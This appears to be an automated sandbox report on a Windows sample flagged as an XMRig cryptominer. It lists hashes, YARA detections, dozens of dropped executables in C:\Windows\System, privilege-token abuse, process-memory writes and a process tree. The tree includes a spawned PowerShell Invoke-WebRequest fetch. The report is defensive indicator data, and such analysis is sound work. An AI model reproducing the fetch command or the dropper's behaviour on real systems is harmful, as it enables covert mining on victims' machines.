xmrig | c0131de629d9386489bb9fb2cba5854a4bdaffc8c05a42ef9c1903fd6ef1a8b7

Analysis

max time kernel
33s
max time network
42s
platform
windows7_x64
resource
win7-20240419-en
resource tags

arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
submitted
29/04/2024, 09:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
Size

1.8MB
MD5

0754efb6447536f3d5eb18997ca33e2e
SHA1

1794b30050418a0ee3c3dbd0a33d72ef154b3886
SHA256

c0131de629d9386489bb9fb2cba5854a4bdaffc8c05a42ef9c1903fd6ef1a8b7
SHA512

44535fde6ba9281e5dca4d1d398d2bba02c88cc1d2683ae62ea1e567f57d13b8c576d9f8e97d1510c22fa6eb2668e1a56d9d7e8871db3bad1a21dac9e5d69ac7
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82SflDrl5SX:NABD

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/2392-37-0x000000013F580000-0x000000013F972000-memory.dmp	xmrig
behavioral1/memory/2744-46-0x000000013FFC0000-0x00000001403B2000-memory.dmp	xmrig
behavioral1/memory/2824-45-0x000000013FF60000-0x0000000140352000-memory.dmp	xmrig
behavioral1/memory/2168-43-0x000000013F710000-0x000000013FB02000-memory.dmp	xmrig
behavioral1/memory/2672-41-0x000000013F5C0000-0x000000013F9B2000-memory.dmp	xmrig
behavioral1/memory/1572-40-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	xmrig
behavioral1/memory/3060-39-0x000000013F9C0000-0x000000013FDB2000-memory.dmp	xmrig
behavioral1/memory/3024-1308-0x000000013F7D0000-0x000000013FBC2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
1572	UwymWLo.exe
2392	QroWQpT.exe
3060	WgDbZNb.exe
2672	PTKrSja.exe
2168	HDtOgAn.exe
2824	nIrcYgv.exe
2744	eWyVcYd.exe
2524	DIFlcRy.exe
2644	ZNAtXfX.exe
2212	daWjTAZ.exe
2772	NpcNcDd.exe
2956	NbIYLdn.exe
288	BlSYnEN.exe
1740	zdoTzGz.exe
2500	TVNohqG.exe
1644	uJuMiyz.exe
2712	vJdKNaN.exe
304	BxqOcfG.exe
2800	JaYDklY.exe
2304	uawozeB.exe
1684	aQLBqdM.exe
2544	PJZdQtA.exe
764	IRJioxO.exe
2976	mXfchAg.exe
1488	DasPuNo.exe
1044	FanZJYF.exe
1856	hAGNigc.exe
1144	PTpBPrg.exe
2756	GbtZevB.exe
3016	UVJtWLU.exe
2620	mrmeZKt.exe
1028	QtQONJa.exe
2340	BdSHgTo.exe
2360	KJTlOfh.exe
1432	TbUTSzG.exe
1800	YILBRgH.exe
552	MyajKQj.exe
2912	RYwQSCh.exe
784	yptMCzw.exe
588	goctmfv.exe
836	pFwhlxb.exe
1992	PQMwBHF.exe
1784	YqxRewt.exe
1092	OtwWOdz.exe
2012	DHsFrxp.exe
276	OatLIZi.exe
2472	TTjpobS.exe
2884	oiEvNrC.exe
2460	YNdEMTy.exe
1584	jqisLft.exe
840	yYhsnBd.exe
1624	ewTxjMN.exe
2388	FIYbwQj.exe
2536	pthfFRB.exe
824	TYchCnK.exe
1968	zCFAvtW.exe
1872	qajOeDl.exe
1600	UBgQXtv.exe
1952	ivQuCJD.exe
316	CuNxZEM.exe
484	DZJnyYG.exe
2492	wNAFLeT.exe
2352	NfRimpk.exe
2580	WWEgyTa.exe

Loads dropped DLL 64 IoCs

pid	Process
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe

UPX packed file 50 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/3024-1-0x000000013F7D0000-0x000000013FBC2000-memory.dmp	upx
behavioral1/files/0x0030000000014d0f-6.dat	upx
behavioral1/files/0x0007000000015a15-15.dat	upx
behavioral1/files/0x00070000000155e8-12.dat	upx
behavioral1/files/0x0008000000015d13-35.dat	upx
behavioral1/memory/2392-37-0x000000013F580000-0x000000013F972000-memory.dmp	upx
behavioral1/files/0x0006000000015d89-51.dat	upx
behavioral1/memory/2644-102-0x000000013F430000-0x000000013F822000-memory.dmp	upx
behavioral1/files/0x0006000000016c5b-106.dat	upx
behavioral1/files/0x0006000000016d57-159.dat	upx
behavioral1/files/0x0008000000015d28-47.dat	upx
behavioral1/files/0x0006000000016d5f-162.dat	upx
behavioral1/files/0x0006000000015fbb-157.dat	upx
behavioral1/files/0x0006000000016d4f-155.dat	upx
behavioral1/files/0x0006000000015d99-150.dat	upx
behavioral1/files/0x0006000000016d46-147.dat	upx
behavioral1/files/0x0006000000016d2d-141.dat	upx
behavioral1/files/0x0006000000016d36-139.dat	upx
behavioral1/files/0x0006000000016d21-132.dat	upx
behavioral1/files/0x0006000000016d10-125.dat	upx
behavioral1/files/0x0006000000016ccd-119.dat	upx
behavioral1/files/0x0006000000016cf2-117.dat	upx
behavioral1/files/0x0006000000016ca1-109.dat	upx
behavioral1/files/0x0006000000016c57-103.dat	upx
behavioral1/files/0x0006000000016a3a-93.dat	upx
behavioral1/files/0x000600000001650f-89.dat	upx
behavioral1/files/0x0006000000016591-85.dat	upx
behavioral1/memory/2524-81-0x000000013F800000-0x000000013FBF2000-memory.dmp	upx
behavioral1/files/0x000600000001640f-78.dat	upx
behavioral1/files/0x0006000000016126-70.dat	upx
behavioral1/files/0x0006000000015f40-66.dat	upx
behavioral1/files/0x0006000000016d73-166.dat	upx
behavioral1/files/0x0030000000014fac-153.dat	upx
behavioral1/files/0x0006000000016d3e-145.dat	upx
behavioral1/files/0x000800000001523e-22.dat	upx
behavioral1/files/0x000b0000000122ee-21.dat	upx
behavioral1/files/0x0006000000016d19-130.dat	upx
behavioral1/files/0x0006000000016d01-124.dat	upx
behavioral1/files/0x0006000000016c3a-101.dat	upx
behavioral1/files/0x00060000000167e8-100.dat	upx
behavioral1/files/0x0006000000016228-77.dat	upx
behavioral1/files/0x0006000000016020-75.dat	upx
behavioral1/memory/2744-46-0x000000013FFC0000-0x00000001403B2000-memory.dmp	upx
behavioral1/memory/2824-45-0x000000013FF60000-0x0000000140352000-memory.dmp	upx
behavioral1/memory/2168-43-0x000000013F710000-0x000000013FB02000-memory.dmp	upx
behavioral1/memory/2672-41-0x000000013F5C0000-0x000000013F9B2000-memory.dmp	upx
behavioral1/memory/1572-40-0x000000013FBD0000-0x000000013FFC2000-memory.dmp	upx
behavioral1/memory/3060-39-0x000000013F9C0000-0x000000013FDB2000-memory.dmp	upx
behavioral1/files/0x0007000000015b37-38.dat	upx
behavioral1/memory/3024-1308-0x000000013F7D0000-0x000000013FBC2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\YNkOJFH.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\SbxxmJu.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\vyYeUQX.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\fWlXIfw.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\UVnVSHm.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\BGAWrpp.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\OVPDMio.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\JiXOhiq.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\kvevwPV.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\kUyMzPK.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\gEJRWna.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\PUOWakF.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\BRhHZlx.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\IKkklQg.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\Ottwcvn.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\gzpzerh.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\sRhwMeZ.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\RYEAuvC.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\lrhegyz.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\XwAAguR.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\pHKPeql.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\MEtkvme.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\NpcNcDd.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\CuNxZEM.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\EvoxlHE.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\aQLBqdM.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\urcoRjs.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\HsXlAwa.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\HaLNjVq.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\HKCXhUI.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\WKGQuNC.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\KJJPcDy.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\AwZAdRj.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\PjBEEZS.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\njHeAMh.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\SgkRdqo.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\yYhsnBd.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\gBVamXZ.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\UAtMsJN.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\dhgnefB.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\oVMAmGD.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\XMhByQK.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\oiEvNrC.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\BMonXLn.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\SaglPxJ.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\SUBNsNI.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\sUYzRYe.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\VPxDfRZ.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\UrKKigp.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\sRuOehq.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\Akufsvz.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\FPWfCke.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\FKAAqtn.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\CyApvgi.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\vTYWpwP.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\hczshLd.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\atXozzR.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\SIUUKdt.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\CcXGUZD.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\fMSMnkF.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\ESrdktP.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\racFRnz.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\oXIuLCU.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
File created	C:\Windows\System\ZJrTZRv.exe	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1720	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
Token: SeLockMemoryPrivilege	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
Token: SeDebugPrivilege	1720	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 1720	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	29
PID 3024 wrote to memory of 1720	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	29
PID 3024 wrote to memory of 1720	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	29
PID 3024 wrote to memory of 2392	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	30
PID 3024 wrote to memory of 2392	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	30
PID 3024 wrote to memory of 2392	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	30
PID 3024 wrote to memory of 1572	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	31
PID 3024 wrote to memory of 1572	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	31
PID 3024 wrote to memory of 1572	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	31
PID 3024 wrote to memory of 3060	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	32
PID 3024 wrote to memory of 3060	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	32
PID 3024 wrote to memory of 3060	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	32
PID 3024 wrote to memory of 2168	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	33
PID 3024 wrote to memory of 2168	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	33
PID 3024 wrote to memory of 2168	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	33
PID 3024 wrote to memory of 2672	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	34
PID 3024 wrote to memory of 2672	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	34
PID 3024 wrote to memory of 2672	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	34
PID 3024 wrote to memory of 2744	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	35
PID 3024 wrote to memory of 2744	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	35
PID 3024 wrote to memory of 2744	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	35
PID 3024 wrote to memory of 2824	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	36
PID 3024 wrote to memory of 2824	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	36
PID 3024 wrote to memory of 2824	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	36
PID 3024 wrote to memory of 2800	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	37
PID 3024 wrote to memory of 2800	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	37
PID 3024 wrote to memory of 2800	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	37
PID 3024 wrote to memory of 2524	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	38
PID 3024 wrote to memory of 2524	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	38
PID 3024 wrote to memory of 2524	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	38
PID 3024 wrote to memory of 2544	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	39
PID 3024 wrote to memory of 2544	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	39
PID 3024 wrote to memory of 2544	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	39
PID 3024 wrote to memory of 2644	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	40
PID 3024 wrote to memory of 2644	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	40
PID 3024 wrote to memory of 2644	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	40
PID 3024 wrote to memory of 2976	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	41
PID 3024 wrote to memory of 2976	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	41
PID 3024 wrote to memory of 2976	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	41
PID 3024 wrote to memory of 2212	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	42
PID 3024 wrote to memory of 2212	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	42
PID 3024 wrote to memory of 2212	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	42
PID 3024 wrote to memory of 1856	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	43
PID 3024 wrote to memory of 1856	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	43
PID 3024 wrote to memory of 1856	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	43
PID 3024 wrote to memory of 2772	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	44
PID 3024 wrote to memory of 2772	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	44
PID 3024 wrote to memory of 2772	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	44
PID 3024 wrote to memory of 2756	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	45
PID 3024 wrote to memory of 2756	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	45
PID 3024 wrote to memory of 2756	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	45
PID 3024 wrote to memory of 2956	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	46
PID 3024 wrote to memory of 2956	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	46
PID 3024 wrote to memory of 2956	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	46
PID 3024 wrote to memory of 3016	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	47
PID 3024 wrote to memory of 3016	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	47
PID 3024 wrote to memory of 3016	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	47
PID 3024 wrote to memory of 288	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	48
PID 3024 wrote to memory of 288	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	48
PID 3024 wrote to memory of 288	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	48
PID 3024 wrote to memory of 2620	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	49
PID 3024 wrote to memory of 2620	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	49
PID 3024 wrote to memory of 2620	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	49
PID 3024 wrote to memory of 1740	3024	0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe	50

C:\Users\Admin\AppData\Local\Temp\0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0754efb6447536f3d5eb18997ca33e2e_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1720
- C:\Windows\System\QroWQpT.exe
  C:\Windows\System\QroWQpT.exe
  2⤵
  - Executes dropped EXE
  PID:2392
- C:\Windows\System\UwymWLo.exe
  C:\Windows\System\UwymWLo.exe
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\System\WgDbZNb.exe
  C:\Windows\System\WgDbZNb.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\HDtOgAn.exe
  C:\Windows\System\HDtOgAn.exe
  2⤵
  - Executes dropped EXE
  PID:2168
- C:\Windows\System\PTKrSja.exe
  C:\Windows\System\PTKrSja.exe
  2⤵
  - Executes dropped EXE
  PID:2672
- C:\Windows\System\eWyVcYd.exe
  C:\Windows\System\eWyVcYd.exe
  2⤵
  - Executes dropped EXE
  PID:2744
- C:\Windows\System\nIrcYgv.exe
  C:\Windows\System\nIrcYgv.exe
  2⤵
  - Executes dropped EXE
  PID:2824
- C:\Windows\System\JaYDklY.exe
  C:\Windows\System\JaYDklY.exe
  2⤵
  - Executes dropped EXE
  PID:2800
- C:\Windows\System\DIFlcRy.exe
  C:\Windows\System\DIFlcRy.exe
  2⤵
  - Executes dropped EXE
  PID:2524
- C:\Windows\System\PJZdQtA.exe
  C:\Windows\System\PJZdQtA.exe
  2⤵
  - Executes dropped EXE
  PID:2544
- C:\Windows\System\ZNAtXfX.exe
  C:\Windows\System\ZNAtXfX.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\mXfchAg.exe
  C:\Windows\System\mXfchAg.exe
  2⤵
  - Executes dropped EXE
  PID:2976
- C:\Windows\System\daWjTAZ.exe
  C:\Windows\System\daWjTAZ.exe
  2⤵
  - Executes dropped EXE
  PID:2212
- C:\Windows\System\hAGNigc.exe
  C:\Windows\System\hAGNigc.exe
  2⤵
  - Executes dropped EXE
  PID:1856
- C:\Windows\System\NpcNcDd.exe
  C:\Windows\System\NpcNcDd.exe
  2⤵
  - Executes dropped EXE
  PID:2772
- C:\Windows\System\GbtZevB.exe
  C:\Windows\System\GbtZevB.exe
  2⤵
  - Executes dropped EXE
  PID:2756
- C:\Windows\System\NbIYLdn.exe
  C:\Windows\System\NbIYLdn.exe
  2⤵
  - Executes dropped EXE
  PID:2956
- C:\Windows\System\UVJtWLU.exe
  C:\Windows\System\UVJtWLU.exe
  2⤵
  - Executes dropped EXE
  PID:3016
- C:\Windows\System\BlSYnEN.exe
  C:\Windows\System\BlSYnEN.exe
  2⤵
  - Executes dropped EXE
  PID:288
- C:\Windows\System\mrmeZKt.exe
  C:\Windows\System\mrmeZKt.exe
  2⤵
  - Executes dropped EXE
  PID:2620
- C:\Windows\System\zdoTzGz.exe
  C:\Windows\System\zdoTzGz.exe
  2⤵
  - Executes dropped EXE
  PID:1740
